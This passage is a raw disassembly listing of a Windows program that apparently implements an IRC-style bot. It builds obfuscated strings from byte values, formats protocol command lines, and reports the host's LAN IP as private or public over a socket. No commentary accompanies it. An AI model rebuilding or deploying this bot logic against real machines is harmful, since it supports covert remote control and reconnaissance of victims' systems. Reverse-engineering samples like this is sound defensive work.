		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490D0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_449100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_449104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC6E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F67AE
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F40
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC6E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490D0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490D8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
